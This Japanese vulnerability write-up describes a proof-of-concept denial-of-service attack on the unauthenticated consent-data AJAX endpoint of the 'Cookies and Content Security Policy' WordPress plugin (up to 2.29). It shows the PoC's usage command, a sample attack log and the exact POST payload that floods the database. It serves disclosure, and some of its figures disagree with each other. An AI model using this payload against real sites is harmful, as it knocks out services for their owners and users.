
jonkastonka Cookies and Content Security Policy プラグイン バージョン 2.29 までの AJAX エンドポイント機能における不適切なアクセス制御
jonkastonka 製 Cookies and Content Security Policy プラグイン(バージョン 2.29 まで)の AJAX エンドポイント機能における不正なアクセス制御により、リモート攻撃者が wp_ajax_nopriv_cacsp_insert_consent_data エンドポイントへの無制限のデータベース書き込み操作を介して、サービス拒否(データベースサーバーのリソース枯渇)を引き起こす可能性があります。
この脆弱性は、WordPress の AJAX エンドポイント(wp-admin/admin-ajax.php)を通じて認証なしで公開されている cacsp_insert_consent_data() 関数に存在します。プラグインは wp_ajax_nopriv_ アクションを使用しているため、認証されていないユーザーがアクセス可能です。
攻撃ベクトル: リモート攻撃者は無制限の同時 POST リクエストを送信し、データベースサーバーを書き込み操作で圧倒して、CPU およびディスク I/O の枯渇を引き起こす可能性があります。
requestsmatplotlibthreadingPoC スクリプトの基本的な使用法は以下の通りです:
python payload.py --target <target_url> --threads <number_of_threads>
デフォルトでは、スレッド数は 100 に設定されています。第 2 引数として指定することで、異なるスレッド数を設定できます。

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
エクスプロイトは以下のデータを含む POST リクエストを /wp-admin/admin-ajax.php に送信します:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
各成功したリクエストは、以下の内容を含む新しいデータベース行を挿入します:
結果: 1 リクエストあたり約 89 バイト × 無制限のリクエスト = データベースの急激な増加
この PoC は教育目的のみです。作者は、このコードの使用によって引き起こされた誤用や損害について一切の責任を負いません。テストする前に、必ずシステムの許可を得てください。